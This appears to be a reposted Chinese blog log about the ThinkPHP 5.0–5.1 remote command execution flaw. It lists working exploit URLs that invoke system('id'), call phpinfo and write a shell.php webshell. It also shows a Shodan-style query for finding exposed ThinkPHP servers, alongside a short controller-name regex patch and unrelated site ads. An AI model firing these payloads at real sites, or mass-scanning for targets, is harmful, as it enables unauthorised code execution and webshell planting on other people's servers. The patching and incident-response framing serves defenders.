thinkphp 5.0-5.1 命令执行流水账记录

栏目: PHP · 发布时间: 6年前

0x00 没有开头

  • 环境部署安排一下

thinkphp 5.0-5.1 命令执行流水账记录

bt一键部署:配合泛解析域名,轻松部署环境
  • 漏洞复现 qq.comvuln host
http://qq.com/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[l][]=id

//5.1
http://qq.com/?s=index/\think\Request/input&filter=phpinfo&data=1
http://qq.com/?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E
http://qq.com/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

thinkphp 5.0-5.1 命令执行流水账记录

  • IM应急通知

thinkphp 5.0-5.1 命令执行流水账记录

thinkphp 5.0-5.1 命令执行流水账记录

  • 平台查看

thinkphp 5.0-5.1 命令执行流水账记录

cp ./thinkphp/library/think/App.php ./thinkphp/library/think/App.php
//add after 553 line
    if (!preg_match('/^[A-Za-z\/](\w|\.)*$/', $controller)) {
        throw new HttpException(404, 'controller not exists:' . $controller);
    }

thinkphp 5.0-5.1 命令执行流水账记录

python ~/censys/shodanapi.py '"X-Powered-By: ThinkPHP"'

thinkphp 5.0-5.1 命令执行流水账记录

  • 扫描器启动(别人的图:不要抓我)

thinkphp 5.0-5.1 命令执行流水账记录

0x01 文章参考


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

不是为了快乐

不是为了快乐

宗萨蒋扬钦哲仁波切 / 姚仁喜 / 深圳报业集团出版社 / 2013-1 / 38.00元

前行修持是一套完整的实修系统,它既是一切佛法修持的根基,又囊括了所有修持的精华,以及心灵之道上所需的一切;既适合入门者打造学佛基本功,也是修行人需要终生修持的心法。书中除了实际的方法指导之外,还不断启发佛法的珍贵与修持的必要,并处处可见对学佛者的鼓舞和纠正,其最终的用心,是让我们踏上不间断的修持之路,真正转化我们僵硬、散乱和困惑的心。 在现代人看来,快乐,理应是最值得追求的目标。我们希望生活......一起来看看 《不是为了快乐》 这本书的介绍吧!

HTML 压缩/解压工具
HTML 压缩/解压工具

在线压缩/解压 HTML 代码

XML 在线格式化
XML 在线格式化

在线 XML 格式化压缩工具

RGB CMYK 转换工具
RGB CMYK 转换工具

RGB CMYK 互转工具